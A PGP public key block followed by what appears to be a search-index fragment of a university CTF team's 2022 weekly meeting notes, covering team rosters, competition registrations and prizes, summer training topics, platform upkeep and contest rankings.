-----BEGIN PGP PUBLIC KEY BLOCK-----\nVersion: Keybase OpenPGP v2.0.76\nComment: https://keybase.io/crypto\n\n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\n=s/qg\n-----END PGP PUBLIC KEY BLOCK-----\n
I won't store your information. So, I might ask you for those information again for different events.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-07-14/#enowars-6","title":"ENOWARS 6","text":"https://6.enowars.com/
\u661f\u671f\u516d, 16 \u4e03\u6708 2022, 21:00 CST \u2014 \u661f\u671f\u65e5, 17 \u4e03\u6708 2022, 05:00 CST
An A/D CTF, I've signed up for team C0MP4SS.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-07-14/#note","title":"Note","text":"https://bm.ichunqiu.com/2022qwb
\u5f3a\u7f51\u676f 6th 7.30 - 7.31
We have 2 teams currently, one has 10 members, the other has 7 members.
Team1: HED
HED/role name Leader \u90ac\u4e00\u5e06 Member \u91d1\u8087\u8f69 Member \u4e25\u6587\u8c26 Member \u9648\u6893\u6db5 Member \u5deb\u6653 Member \u6731\u5609\u6960 Member \u674e\u70e8 Member \u9ece\u8bd7\u73a5 Member \u5510\u9a9e Member \u5218\u6b23\u840cTeam2: kfccrazythursdayvme50yuan
role name Leader \u674e\u7167 Member \u5218\u4e50\u5947 Member \u51af\u6cc9\u5f3c Member \u5f90\u5ef6\u6977 Member \u8c22\u5b50\u665f Member \u5b59\u794e\u6d9b Member \u738b\u4e59 Member \u91d1\u626cThe first team is registered, and the second team is waiting for all the phone numbers to be signed up.
Later today, I will collect some recent challenges and their writeups.
\u91c7\u53d6\u5728\u7ebf\u89e3\u9898\uff08Jeopardy\uff09\u6a21\u5f0f\uff0c\u4e3b\u8981\u9762\u5411\u56fd\u5185\u9ad8\u6821\u3001\u4f01\u4e1a\u3001\u673a\u6784\u7b49\u7f51\u7edc\u5b89\u5168\u529b\u91cf\uff0c\u6bcf\u961f\u4e0d\u8d85\u8fc710\u540d\u53c2\u8d5b\u961f\u5458\u548c1\u540d\u8d5b\u961f\u6307\u5bfc\u3002\u8d5b\u9898\u5185\u5bb9\u4e3b\u8981\u6d89\u53ca\u4e8c\u8fdb\u5236\u7a0b\u5e8f\u9006\u5411\u5206\u6790\u3001\u5bc6\u7801\u5206\u6790\u3001\u667a\u80fd\u7ec8\u7aef\u5b89\u5168\u3001\u4fe1\u606f\u9690\u85cf\u3001\u4eba\u5de5\u667a\u80fd\u7b49\u7f51\u7edc\u5b89\u5168\u9886\u57df\u7684\u4e3b\u8981\u77e5\u8bc6\u4e0e\u6280\u80fd\uff0c\u91cd\u70b9\u8003\u5bdf\u53c2\u8d5b\u4eba\u5458\u7f51\u7edc\u5b89\u5168\u77e5\u8bc6\u7684\u7efc\u5408\u8fd0\u7528\u80fd\u529b\u548c\u7f51\u7edc\u5b89\u5168\u6280\u80fd\u7684\u521b\u65b0\u5b9e\u8df5\u80fd\u529b\u3002\u6bd4\u8d5b\u65f6\u95f42022\u5e747\u670830\u65e5-31\u65e5\u3002
\u4e00\u7b49\u5956 \u7b2c1-3\u540d 3\u4e07RMB/\u961f
\u4e8c\u7b49\u5956 \u7b2c4-10\u540d 2\u4e07RMB/\u961f
\u4e09\u7b49\u5956 \u7b2c11-32\u540d 1\u4e07RMB/\u961f
\u6700\u4f73\u9898\u76ee\u5956 \u51711\u540d 2\u4e07RMB/\u9898
\u4f18\u79c0\u9898\u76ee\u5956 \u51716\u540d 5000\u5143RMB/\u9898
\u7ade\u8d5b\u5b98\u65b9QQ\u7fa4\uff1a856775704
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-07-21/#summer-schedule-update","title":"Summer schedule update","text":"The past training:
Time Topic Introduction Material June, 26th CTF Overview & Fun-oriented challenges. Learn about what's CTF and how we win a CTF. The attendance of competitions and how to group a team. Introduction to CTF.pdf Sakai page Kali Linux Linux challenges Linux tutorial Python tutorial July, 3rd Web Challenges and Databases (Basics) Ability to learn computer networks and hack websites. Know HTTP & HTTPS in protocol, and tools to capture / modify packets. Web Basics and Databases.pdf OWASP vulnerabilities PHP basics HTML MDN CSS MDN JavaScript MDN July, 10th Practice, Solving Web Challenges (Advanced) Why websites are vulnerable, learn how to crack a website, and solve some web challenges. Find the weakness in the websites and common vulnerabilities. Advanced Web Hacking.pdf Linux Basics BlackHat SSTI PDF CTF101 Web Web learning notes July, 17th Forensics & Steganography Analyze the file format and hidden information. Packet or network traffic analysis as well. Several skills to check images. Forensics_Steganography.pdf CTF 101 Forensics 1earn ForensicsThe rest training:
July, 24th Modern Cryptography and Mathematics Asymmetric cryptography like RSA, ECC. A mathematic definition of security and attacks on modern cryptography. Cryptography.pptx July, 31st Assembly Language and Reverse Engineering Learn about some CISC knowledge. Use x86_64 as an example to do the assembly. Some reverse engineering skills are involved. Reverse.pdf August, 7th Binary Exploitations PWN challenges. Buffer overflows, shellcodes, ROP, and some pwn challenges. Binary Exploitation.pdfThis weekend, the engineering department would be powered off. The training schedule for this weekend may be online.
I've invited some 2022 new students to attend the cryptography training this weekend.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-07-21/#guangdong-province-ctf-2nd","title":"Guangdong Province CTF 2nd","text":"In the past qualification, the HED team has qualified for the final round.
role name Leader \u90ac\u4e00\u5e06 Member \u4e25\u6587\u8c26 Member \u6731\u5f18 Member \u6731\u5609\u6960Before the competition, we would have several AWD training. The time can be arranged according to your schedule.
Better to be offline, in case we can have discussions about AWD.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-07-21/#notes","title":"Notes","text":"https://bm.ichunqiu.com/2022qwb
\u5f3a\u7f51\u676f 6th 7.30 - 7.31
We have 2 teams currently, one has 10 members, the other has 7 members.
Team1: HED
HED/role name Leader \u90ac\u4e00\u5e06 Member \u91d1\u8087\u8f69 Member \u4e25\u6587\u8c26 Member \u9648\u6893\u6db5 Member \u5deb\u6653 Member \u6731\u5609\u6960 Member \u674e\u70e8 Member \u9ece\u8bd7\u73a5 Member \u5510\u9a9e Member \u5218\u6b23\u840cTeam2: kfccrazythursdayvme50yuan
role name Leader \u674e\u7167 Member \u5218\u4e50\u5947 Member \u51af\u6cc9\u5f3c Member \u5f90\u5ef6\u6977 Member \u8c22\u5b50\u665f Member \u5b59\u794e\u6d9b Member \u738b\u4e59 Member \u91d1\u626cPlease join the corresponding notion group to co-operate in the competition.
We have a discord group for voice chat:
\u7ade\u8d5b\u5b98\u65b9QQ\u7fa4\uff1a856775704
Hope you enjoy this competition!
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-07-28/#dicectf-rank-and-ctftime-team-rank","title":"DiceCTF rank and ctftime team rank","text":"@Frankss @Monad, we won 21 rank in the DiceCTF 2022.
Yet another win against pkucc and n03tAck QwQ.
The competition has some very interesting challenges and tricks, I'll collect them and publish on the Detroit CTF platform.
In the meanwhile, we got 27.853 ctftime scores. The coutry rank of our team is updated to 21st place.
Congratulations every member! \ud83c\udf89\ud83c\udf89\ud83c\udf89
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-07-28/#guangdong-ctf-2nd-final-notes","title":"Guangdong CTF 2nd Final notes","text":"We've participated Guangdong CTF 2nd final meeting yesterday.
The key information:
We may need to try:
The past training:
Time Topic Introduction Material June, 26th CTF Overview & Fun-oriented challenges. Learn about what's CTF and how we win a CTF. The attendance of competitions and how to group a team. Introduction to CTF.pdf Sakai page Kali Linux Linux challenges Linux tutorial Python tutorial July, 3rd Web Challenges and Databases (Basics) Ability to learn computer networks and hack websites. Know HTTP & HTTPS in protocol, and tools to capture / modify packets. Web Basics and Databases.pdf OWASP vulnerabilities PHP basics HTML MDN CSS MDN JavaScript MDN July, 10th Practice, Solving Web Challenges (Advanced) Why websites are vulnerable, learn how to crack a website, and solve some web challenges. Find the weakness in the websites and common vulnerabilities. Advanced Web Hacking.pdf Linux Basics BlackHat SSTI PDF CTF101 Web Web learning notes July, 17th Forensics & Steganography Analyze the file format and hidden information. Packet or network traffic analysis as well. Several skills to check images. Forensics_Steganography.pdf CTF 101 Forensics 1earn Forensics July, 24th Modern Cryptography and Mathematics Asymmetric cryptography like RSA, ECC. A mathematic definition of security and attacks on modern cryptography. Cryptography.pptxThe rest training:
July, 31st Assembly Language and Reverse Engineering Learn about some CISC knowledge. Use x86_64 as an example to do the assembly. Some reverse engineering skills are involved. Reverse.pdf August, 7th Binary Exploitations PWN challenges. Buffer overflows, shellcodes, ROP, and some pwn challenges. Binary Exploitation.pdfI'm not at the campus currently. The training schedule for this weekend may be online.
The CTF training is hard, but I hope you can learn something new, and enjoy the trip to the cybersecurity.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-07-28/#notes","title":"Notes","text":"The competition has ended. 2 of our teams have achieve great ranks:
Team Rank HED 74 kfccrazythursdayv50 248The competition takes 10 members in a team. During the competition, we used notion for challenge synchronize and progress tracking.
The defect of this event is the PWN part. We've done great in other aspects, except PWN. Learning about some PWN ideas would be our next step:
A experienced PWN player would talk about the PWN sections this weekend. I'm looking forward to the PWN talk.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-08-04/#summer-final-exam","title":"Summer final exam","text":"Our summer schedule would be ended in August 14th. The final exam would be held on the Detroit platform.
I'm collecting grades and finding final exam challenges.
If you have great challenge, please inform me.
The dynamic challenge environment would be set to use an environment variable $FLAG
, if you want to setup dynamic flag for your challenge, you can read this variable in the flag configuration.
Besides, using flag file is also fine.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-08-04/#wangding-cup","title":"Wangding Cup","text":"https://www.wangdingcup.com/
Register till August 19th 20:00.
Possible time:
This event is one of the most famous CTF competitions. The size for each team is 4 members, we are going to have 2 or 3 teams.
This event would be easier than the Qiangwang cup. However, it's not easy to get into the final round.
If you are interested in this event, please send me the register information.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-08-04/#ctfshow","title":"CTFshow","text":"https://www.ctf.show/challenges
An interesting event on ctf.show would be held today.
Start time: 18pm.
Duration: 24 hours.
If you are looking forward some interesting (instead of hard events), don't miss this.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-08-04/#about-the-ranks-cyber-security","title":"About the ranks & cyber security","text":"...
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-08-04/#notes","title":"Notes","text":"Our summer schedule would be ended in August 14th. The final exam would be held on the Detroit platform.
CTFd-whale has worked properly. In case the Detroit platform has un-predictable problems, we would have a backup location at CTFd as well.
The challenges categories:
Category Challenge Difficulty Misc 3 Easy to Medium Web 4 Easy to Hard Crypto 3 Medium Re 3 Medium to Hard PWN 4 Medium to HardI would update the challenges to a self-hosted CTFd for test. Team members can access this platform to try the challenges.
Challenge time: August 14th 9:00am to 17:00pm.
Challenge solving: please solve by yourself, teaming and cheating are not allowed.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-08-11/#wangding-cup","title":"Wangding Cup","text":"https://www.wangdingcup.com/
Register till August 19th 20:00.
Possible time:
This event is one of the most famous CTF competitions. The size for each team is 4 members, we are going to have 2 or 3 teams.
This event would be easier than the Qiangwang cup. However, it's not easy to get into the final round.
If you are interested in this event, please send me the register information.
Name Team \u5218\u4e50\u5947 1"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-08-11/#other-competitions","title":"Other competitions","text":""},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-08-11/#2022","title":"2022\u201c\u5dc5\u5cf0\u6781\u5ba2\u201d\u7f51\u7edc\u5b89\u5168\u6280\u80fd\u6311\u6218\u8d5b","text":"http://www.peakgeek.cn/#/
\u7ebf\u4e0a\u8d5b\u62a5\u540d\uff1a2022-08-01 10:00:00 - 2022-08-15 12:00:00
\u7ebf\u4e0a\u8d5b\u65f6\u95f4\uff1a2022-08-17 10:00:00 - 2022-08-17 19:00:00
\u53c2\u8d5b\u8005\u987b\u4ee5\u56e2\u961f\u4e3a\u5355\u4f4d\u62a5\u540d\u53c2\u8d5b\uff0c\u6bcf\u652f\u961f\u4f0d\u8bbe\u961f\u957f1\u540d\uff08\u5fc5\u987b\uff09\uff0c\u961f\u957f\u5fc5\u987b\u662f\u53c2\u8d5b\u961f\u5458\uff0c\u8d1f\u8d23\u53c2\u8d5b\u961f\u4f0d\u7684\u7ec4\u7ec7\u7ba1\u7406\u3002\u6bcf\u652f\u961f\u4f0d\u53c2\u8d5b\u961f\u5458\u4e0d\u8d85\u8fc74\u4eba\uff08\u542b\u961f\u957f\uff09\u3002\u53c2\u8d5b\u961f\u5458\u53ea\u80fd\u96b6\u5c5e\u4e8e\u4e00\u652f\u961f\u4f0d\uff0c\u6bd4\u8d5b\u664b\u7ea7\u8fc7\u7a0b\u4e2d\u5982\u679c\u6709\u961f\u5458\u4e2d\u9014\u9000\u51fa\uff0c\u4e0d\u80fd\u8865\u4f4d\u3002\u961f\u957f\u9000\u51fa\u53ef\u7531\u961f\u5185\u5176\u4ed6\u961f\u5458\u62c5\u4efb\u3002\u5efa\u8bae\u7531\u961f\u957f\u7edf\u4e00\u8fdb\u884c\u5728\u7ebf\u62a5\u540d\uff0c\u62a5\u540d\u5b8c\u6210\u540e\u53ef\u901a\u8fc7\u4e13\u9898\u9875\u7684\u62a5\u540d\u67e5\u8be2\u529f\u80fd\u67e5\u770b\u662f\u5426\u5df2\u62a5\u540d\u6210\u529f\u3002
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-08-11/#_1","title":"\u7b2c\u4e8c\u5c4a\u201c\u957f\u57ce\u676f\u201d\u7f51\u7edc\u5b89\u5168\u5927\u8d5b","text":"https://bm.ichunqiu.com/2022ccb
\u7ebf\u4e0a\u8d5b\u62a5\u540d\uff1a2022-07-25 10:00:00 - 2022-08-12 12:00:00
\u7ebf\u4e0a\u8d5b\u65f6\u95f4\uff1a2022-08-23 12:00:00 - 2022-08-23 18:00:00
4\u3001\u53c2\u8d5b\u8005\u987b\u4ee5\u56e2\u961f\u4e3a\u5355\u4f4d\u62a5\u540d\u53c2\u8d5b\uff0c\u6bcf\u961f\u4eba\u6570\u4e0d\u8d85\u8fc73\u4eba\uff0c\u987b\u8bbe\u961f\u957f1\u540d\uff1b\u961f\u957f\u53ef\u4ee5\u67e5\u770b\u548c\u7f16\u8f91\u672c\u961f\u961f\u5458\u7684\u4fe1\u606f\uff0c\u5e76\u7ba1\u7406\u672c\u961f\u961f\u5458\u7684\u52a0\u5165\u4e0e\u9000\u51fa\u3002
5\u3001\u6bcf\u652f\u961f\u4f0d\u53ef\u53e6\u8bbe\u9886\u961f1\u540d\uff0c\u9886\u961f\u4e0d\u5f97\u53c2\u8d5b\u3002
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-08-11/#notes","title":"Notes","text":"Currently, the university is still under the COVID situation, I'm not able to return to the university.
This weekend's meeting & welcome schedule would be canceled.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-09-08/#detroit-ctfd-update","title":"Detroit CTFd update","text":"Thanks to the @Frankss, the mistakes on the Detroit CTFd server are repaired.
Those problems occur as a result of the dirty transfer of the data through different CTFd versions.
If you want to use your old account, please contact me to reset the password.
Besides, I'm trying to use GZCTF for further challenges maintenance. CTFd and GZCTF are using different hash functions for password hashing. As a result, all the passwords would be protected by a random value.
After the transfer to GZCTF, I would reset the password.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-09-08/#sign-up-for-events","title":"Sign up for events","text":""},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-09-08/#_1","title":"\u7b2c\u4e94\u5c4a\u7f8e\u56e2\u7f51\u7edc\u5b89\u5168\u9ad8\u6821\u6311\u6218\u8d5b\uff08\u521d\u8d5b\uff09","text":"\u5b98\u65b9\u6bd4\u8d5b\u94fe\u63a5\u5730\u5740\uff1ahttps://bm.ichunqiu.com/2022meituan
\u7ebf\u4e0a\u8d5b\u62a5\u540d\uff1a2022-09-01 10:00:00 - 2022-09-16 10:00:00
\u7ebf\u4e0a\u8d5b\u65f6\u95f4\uff1a2022-09-17 09:00:00 - 2022-09-17 21:00:00
\u672c\u6b21\u6bd4\u8d5b\u4e3b\u529e\u65b9\uff1a\u7f8e\u56e2\u5b89\u5168\u5e94\u6025\u54cd\u5e94\u4e2d\u5fc3\uff1b\u7f8e\u56e2\u00b7\u6821\u56ed\u62db\u8058
\u6280\u672f\u652f\u6301\uff1a\u6c38\u4fe1\u81f3\u8bda
\u521d\u8d5b\uff1a\u521d\u8d5b\u91c7\u7528\u7ebf\u4e0aCTF\u56e2\u961f\u8d5b\u7684\u5f62\u5f0f\uff0c\u6bd4\u8d5b\u65f6\u957f12\u5c0f\u65f6\u3002
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-09-08/#2022","title":"2022\u5e74\u4e2d\u56fd\u5de5\u4e1a\u4e92\u8054\u7f51\u5b89\u5168\u5927\u8d5b\u5317\u4eac\u5e02\u9009\u62d4\u8d5b\u66a8\u5168\u56fd\u7ebf\u4e0a\u9884\u9009\u8d5b","text":"https://www.chinaiisc.cn/beijing
1) \u7ade\u8d5b\u4e3a\u4e09\u4eba\u56e2\u4f53\u8d5b\uff0c\u62a5\u540d\u53c2\u8d5b\u7684\u89d2\u8272\u5206\u522b\u4e3a\u9009\u624b1\uff08\u961f\u957f\uff09\u3001\u9009\u624b2\u3001\u9009\u624b3\u3002
2) \u62a5\u540d\u8d77\u6b62\u65f6\u95f4\uff1a8\u670824\u65e5 00:00 \u2014 9\u670816\u65e5 24:00
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-09-08/#_2","title":"\u5b57\u8282\u8df3\u52a8\u201c\u5b89\u5168\u8303\u513f\u201d\u9ad8\u6821\u6311\u6218\u8d5b","text":"https://ctf.bytedance.com/
\u62a5\u540d\u65f6\u95f4\uff1a8\u67088\u65e5 - 9\u670822\u65e5
\u6bd4\u8d5b\u65f6\u95f4\uff1a9\u670824\u65e5 - 9\u670825\u65e5
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-09-08/#notes","title":"Notes","text":"Challenge update.
Offline meeting & inviting for 2022 students.
Event sign-up.
We are going to format the challenges platform to hold and collection of event challenges.
These kinds of challenges would be stored:
Event challenges that are already unable to submit on the event's website.
Original challenges.
Qualification exam.
Other challenges would be removed.
Besides, I would post writeups for all challenges these days.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-09-15/#offline-meeting-invitation-for-2022-students","title":"Offline meeting & invitation for 2022 students","text":"I'm planning for a sharing and meeting with 2022 students who are interested in the CTF & Infosec.
The sharing time would be on the 1st, of Oct, or the 2nd, of Oct. The sharing would be given by team members.
According to the schedule this semester, the whole of October would be used for new students' training.
Before the October, we would have 1 advanced training for team members.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-09-15/#sign-up-for-events","title":"Sign up for events","text":""},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-09-15/#-1-team","title":"\u7b2c\u4e94\u5c4a\u7f8e\u56e2\u7f51\u7edc\u5b89\u5168\u9ad8\u6821\u6311\u6218\u8d5b\uff08\u521d\u8d5b\uff09 - 1 team","text":"\u5b98\u65b9\u6bd4\u8d5b\u94fe\u63a5\u5730\u5740\uff1ahttps://bm.ichunqiu.com/2022meituan
\u7ebf\u4e0a\u8d5b\u62a5\u540d\uff1a2022-09-01 10:00:00 - 2022-09-16 10:00:00
\u7ebf\u4e0a\u8d5b\u65f6\u95f4\uff1a2022-09-17 09:00:00 - 2022-09-17 21:00:00
\u672c\u6b21\u6bd4\u8d5b\u4e3b\u529e\u65b9\uff1a\u7f8e\u56e2\u5b89\u5168\u5e94\u6025\u54cd\u5e94\u4e2d\u5fc3\uff1b\u7f8e\u56e2\u00b7\u6821\u56ed\u62db\u8058
\u6280\u672f\u652f\u6301\uff1a\u6c38\u4fe1\u81f3\u8bda
\u521d\u8d5b\uff1a\u521d\u8d5b\u91c7\u7528\u7ebf\u4e0aCTF\u56e2\u961f\u8d5b\u7684\u5f62\u5f0f\uff0c\u6bd4\u8d5b\u65f6\u957f12\u5c0f\u65f6\u3002
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-09-15/#2022-1-team","title":"2022\u5e74\u4e2d\u56fd\u5de5\u4e1a\u4e92\u8054\u7f51\u5b89\u5168\u5927\u8d5b\u5317\u4eac\u5e02\u9009\u62d4\u8d5b\u66a8\u5168\u56fd\u7ebf\u4e0a\u9884\u9009\u8d5b - 1 team","text":"https://www.chinaiisc.cn/beijing
1) \u7ade\u8d5b\u4e3a\u4e09\u4eba\u56e2\u4f53\u8d5b\uff0c\u62a5\u540d\u53c2\u8d5b\u7684\u89d2\u8272\u5206\u522b\u4e3a\u9009\u624b1\uff08\u961f\u957f\uff09\u3001\u9009\u624b2\u3001\u9009\u624b3\u3002
2) \u62a5\u540d\u8d77\u6b62\u65f6\u95f4\uff1a8\u670824\u65e5 00:00 \u2014 9\u670816\u65e5 24:00
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-09-15/#-1-team-not-full","title":"\u5b57\u8282\u8df3\u52a8\u201c\u5b89\u5168\u8303\u513f\u201d\u9ad8\u6821\u6311\u6218\u8d5b - 1 team (not full)","text":"https://ctf.bytedance.com/
\u62a5\u540d\u65f6\u95f4\uff1a8\u67088\u65e5 - 9\u670822\u65e5
\u6bd4\u8d5b\u65f6\u95f4\uff1a9\u670824\u65e5 - 9\u670825\u65e5
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-09-15/#notes","title":"Notes","text":"[ ] Ready for the GD CTF 2nd Final script.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-09-22/","title":"CTF Week Meeting 2022-09-22","text":"Good news.
Double good news.
ByteCTF register.
Offline party time.
Training schedule for this week.
We got rank 10 in the dfjk CTF final round.
For this score, congratulations to @Frankss, @Monad, @GGA, and me. We won \uffe510,000 in this game, and a certification & trophy for our score.
Rank Team 1 Straw Hat 2 Redbud 3 D1no 4 \u6781\u5ba2\u4fe1\u5b89 5 \u4f11\u95f2\u519c\u5e84 6 \u4f60\u5e72\u561b\u00b7\u00b7\u00b7\u54c8\u54c8\u00b7\u00b7\u00b7\u54ce\u54df\u00b7\u00b7\u00b7 7 \u5c0f\u6050\u9f99\u6478\u5927\u9c7c 8 \u4ed4\u9e21\u7c73\u7c89\u4e0d\u8981\u9999\u83dc 9 Nebula 10 HED 11 0x401"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-09-22/#double-good-news","title":"Double good news","text":"In the past wd CTF, we have achieved rank 7 as well.
Post from WD CTF official
This is the most famous event which is hosted by Ministry of Public Security. If we won in the semifinal round, we can get the award from them.
Rank Team 1 Redbud 2 0ops 3 0x401 4 Asuri 5 \u5317\u95e8\u8fa3\u5b50\u9e21 6 irusA 7 HED 8 Xp0int 9 \u6765\u81ea\u4e1c\u65b9\u7684\u795e\u79d8\u529b\u91cf 10 H4FCongratulation to @Frankss, @Monad, @GGA. The semifinal round is around 20 days later, offline.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-09-22/#bytectf-register","title":"ByteCTF register","text":"The register due today!!!
https://ctf.bytedance.com/
We need to register on this website, and receive the team invitation.
Now we have 2 teams, all full.
